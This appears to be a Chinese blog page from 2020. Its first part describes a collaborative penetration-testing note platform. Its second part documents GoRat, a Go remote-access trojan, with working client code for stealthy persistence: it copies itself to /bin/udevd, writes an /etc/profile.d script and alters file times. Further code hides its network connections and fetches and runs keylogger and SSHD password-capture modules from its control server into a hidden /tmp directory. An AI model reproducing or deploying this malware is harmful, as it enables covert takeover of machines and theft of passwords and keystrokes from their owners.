2020年12月

求索 - 协同渗透笔记平台

说起来渗透的过程就是围绕资产和碎片化信息进行整理归纳,测试的过程,那么在多人协同的时候最大的问题就是信息同步效率低导致的重复劳动,某个站可能ABC全部都扫一遍子域名,端口,漏洞等,导致浪费的不必要的时间,降低的工作效率。

求索笔记就是为了解决我们团队内部的协同渗透而开发的,他有四个核心功能:

  • 1 踩点
  • 2 笔记
  • 3 协同
  • 4 报告

1 踩点

更多的时候我们笔记还是用的myBase,通讯内网自建的聊天服务,通常一个目标几个人会重复操作,现在使用求索即可,先添加一个目标
-w1628

其中支持3个模块,分别是子域名,同服,C段扫描,对应的运行逻辑是
-w665

踩点之后的数据结构如下
-w509

漏扫的结果会在资产下方进行展示
-w387
漏洞的细节会在旁边的笔记框内进行展示
-w955

并且支持配置漏洞TG的机器人推送
-w626

2 笔记

子节点类型有5种

  • 域名
  • IP
  • 端口
  • 漏洞
  • 目录扫描

然后就可以在节点中进行记录笔记/资料等信息,支持粘贴图片
-w1388

编辑完成之后用ctrl+s进行保存
可以在任意节点下方继续创建笔记
-w387

支持无限下级

-w428

第一行的前20个字符会作为文件夹的标题

-w657

3 协作

可以把任意节点邀请其他用户进行协作,下级节点也会一并分享,选中需要邀请的节点,点击上方的邀请按钮,或者右键选择邀请协作也可以
-w459

在输入框中输入对方用户名,下面的下拉框会自动更新出匹配的用户
-w687

选中之后点击share即可
-w605

同时也支持公开分享功能,但是公开分享只支持单页分享
-w393

分享可以选择是否需要密码和是否只读
-w531
-w568

分享完成之后复制分享地址,无需登录即可查看与编辑
-w1035
-w1035

4 报告

支持一键导出资产为markdown,支持用markmap生成思维导图
选择需要导出的资产,右键选择导出markdown
-w385
-w600

如果在弹出的提示中点击确认,则跳转到markmap生成思维导图
-w691

GoRat 使用Go开发的B/S架构远控

-w1455

只用于学习beego与go开发,请勿用于非法用途。

功能列表

  • [x] 开机启动
  • [x] 命令执行
  • [x] Keylogger
  • [x] SSHD密码记录
  • [ ] SSH Client密码记录
  • [ ] Mysql密码记录
  • [ ] 桌面截图
  • [ ] 远程代理

技术架构

服务端使用Beego开发
客户端使用纯Go开发

服务端

采用Beego开发,共六个路由

func init() {
    //首页登录
    beego.Router("/", &controllers.MainController{})
    //主机列表与客户端上线心跳
    beego.Router("/host", &controllers.HostController{})
    //客户端任务结果上报
    beego.Router("/task", &controllers.TaskController{})
    //执行命令模块
    beego.Router("/cmd", &controllers.CmdController{})
    //sshd密码记录模块
    beego.Router("/sshd", &controllers.SshdController{})
    //键盘记录模块
    beego.Router("/key", &controllers.KeyController{})
}

配置文件 conf/app.conf

appname = goratServer
httpport = 8080 #端口
runmode = dev
copyrequestbody = true
password = 123456 #登录密码

部署方式

先修改 goratClient/common/common.go中的Host为你自己的server地址

var Host = "http://192.168.101.40:8080/"

然后运行 build.sh,编译linux64位版本,其他版本可自行编译。
然后进入goratServer,运行

go install  github.com/astaxie/beego
go get github.com/beego/bee
bee run

即可成功启动,若想打包成二进制文件在其他机器上部署可执行

bee pack -be GOOS=linux
bee pack -be GOOS=windows

goratServer/module中为编译好的keylogger与sshd密码记录,可以自行重新编译,其源码在项目目录中的module文件夹中

通讯协议

支持部署在cdn后面,同时也建议部署在cdn之后,隐藏真实IP。
采用http通讯,数据采用POST上报,无任何加密,数据结构如下

type HostInfo struct{
    HostName string
    IpAddr string
    UUID string
    Goos string
    LastOnline time.Time
    Mark string
    RemoteAddr string
}

任务下发与回复数据结构如下

type TaskInfo struct{
    UUID string
    TaskId string
    TaskParams string
    TaskType string
    TaskResult string `执行完成之后会把结果放入其中进行回复`
}

第一次上线默认1秒取一次任务,若连续60秒无任务下发,则进入休眠模式,将会100秒+25秒随机发心跳包

time_sleep = 100 + rand.Intn(25000)

若接受到任务之后,则会继续转变成1秒一次的心跳。

除了命令执行意外以外,其他所有模块都存放在module/文件夹中,调用时将进行动态部署,方便后期扩容。

客户端

HTTP短连接

采用短连接,基本netstat -an看不到网络连接,发包之后就直接释放。
代码如下

func dialTimeout(network, addr string) (net.Conn, error) {
    conn, err := net.DialTimeout(network, addr, time.Second*POST_REMOTE_TIMEOUT)
    if err != nil {
        return conn, err
    }

    tcp_conn := conn.(*net.TCPConn)
    tcp_conn.SetKeepAlive(false)

    return tcp_conn, err
}
func SendRequest(action string ,data url.Values,sendType string) string{
    transport := http.Transport{
        Dial:              dialTimeout,
        DisableKeepAlives: true, //关闭keepalive
    }
    client := &http.Client{
        Transport: &transport,
    }
    body := strings.NewReader(data.Encode())
    url:=Host+action
    req, err := http.NewRequest(sendType, url, body)
  ...
}    

就算服务没开netstat也没有任何连接,开了之后也是一样的。
-w771

开机启动

采用复制自身到/bin/udevd并修改文件时间,然后创建/etc/profile.d/which3.sh文件,写入启动内容

func Autorun() {
    if os.Args[0] != "/bin/udevd" {
        _, err := common.CopyFile(os.Args[0], "/bin/udevd")
        if err != nil {
            fmt.Print(err)
        } else {
            os.Remove(os.Args[0])
            bash := "# Initialization script for bash and sh\n"
            bash += "# export AFS if you are in AFS environment\n"
            bash += "a=`ps -fe|grep /bin/udevd |grep -v grep|wc|awk '{print$1}'`\n"
            bash += "if [ \"$a\" -eq 0 ] \n"
            bash += "then\n"
            bash += "/bin/udevd\n"
            bash += "fi\n"
            errf := ioutil.WriteFile("/etc/profile.d/which3.sh", []byte(bash), 0644)
            if errf != nil {
                fmt.Print(errf)
            }
            GetFileModTime("/bin/udevd")
            GetFileModTime("/etc/profile.d/which3.sh")
        }

    }

}

SSHD密码记录

采用ptract注入sshd进程,并将记录到密码存放在/tmp/sshpassword.txt
其开启逻辑如下

func Task_sshd(task common.TaskInfo,status string){
    if status=="open"{
        moduleUrl:=common.Host+"/module/sshd.tar"
        os.Mkdir("/tmp/.../",os.ModePerm)
        check:=common.DownloadFile(moduleUrl,"/tmp/.../sshd.tar")
        if check{
            cmd:="tar xvf /tmp/.../sshd.tar -C /tmp/.../"
            Run(cmd)
            cmd="cd /tmp/.../;sh run.sh;"
            go Run(cmd)
            task.TaskResult="open success"
            common.UploadResult(task)
        }else{
            task.TaskResult="download module fail"
            common.UploadResult(task)
            
        }

    }

键盘记录

采用开源keylogger程序,并将其记录到的输入记录到/tmp/.auth.log中,不支持记录ssh会话的输入,只支持物理键盘的输入或vnc等远程连接。

参考文档

无需重新编译OpenSSH,通过ptrace注入记录SSHD密码

http://aq.mk/index.php/archives/86.html

修改后的SSHD密码记录,支持自动查找SSHD pid与libdl版本

https://github.com/code-scan/ssh-inject-auto-find-libdl

Beego

http://github.com/beego/bee

http://beego.me/

Go键盘记录

https://github.com/MarinX/keylogger

GoRat项目地址

https://github.com/code-scan/goRat